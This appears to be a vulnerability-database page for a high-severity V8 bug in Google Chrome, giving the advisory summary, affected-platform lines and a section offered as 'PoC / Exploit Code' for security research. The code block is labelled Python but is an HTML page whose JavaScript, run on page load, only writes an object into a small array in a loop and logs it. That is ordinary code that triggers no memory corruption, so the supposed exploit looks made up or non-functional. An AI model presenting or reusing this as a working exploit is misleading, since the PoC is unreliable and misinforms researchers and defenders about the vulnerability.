Inappropriate implementation in V8 in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.153
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
// PoC for CVE-2026-4447
// Description: Trigger V8 engine implementation issue via crafted HTML
-->
<html>
<head>
<script>
function exploit() {
// Attacker crafted JavaScript to trigger V8 vulnerability
// This simulates the type confusion or memory corruption
var obj = {};
var arr = [1.1, 2.2, 3.3];
// Trigger optimization pass in V8
for (var i = 0; i < 10000; i++) {
arr[i % 3] = obj;
}
// Attempt to access corrupted memory
console.log(arr[0]);
}
window.onload = exploit;
</script>
</head>
<body>
<h1>CVE-2026-4447 Test Page</h1>
<p>If the browser is vulnerable, it may crash or execute code.</p>
</body>
</html>